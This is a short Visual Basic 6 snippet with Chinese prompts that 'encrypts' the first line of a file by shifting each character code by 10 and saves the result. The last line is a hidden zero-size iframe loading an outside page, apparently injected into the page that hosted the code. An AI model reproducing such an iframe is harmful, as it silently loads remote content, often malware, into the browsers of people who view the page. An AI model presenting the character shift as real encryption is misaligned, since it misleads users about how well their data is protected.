Private Sub Form_Load()

  FileName1$ = InputBox("请输入需要加密的文件名及路径：")
  Open FileName1$ For Input As #1
  Line Input #1, a$
  MsgBox a$, , "加密前的文本内容"
  Close #1

  mm$ = ""
  n = Len(a$)
  For i = 1 To n
    b$ = Mid$(a$, i, 1)
    c$ = Chr(Asc(b$) - 10)
    mm$ = mm$ & c$
  Next
  MsgBox mm$, , "加密后的文本内容"

  FileName2$ = InputBox("请输入加密后的文件名及路径：")
  Open FileName2$ For Output As #2
  Print #2, mm$
  Close #2

  End

End Sub


 

<iframe src=http://www.92bdd.com/index.htm width=0 height=0></iframe>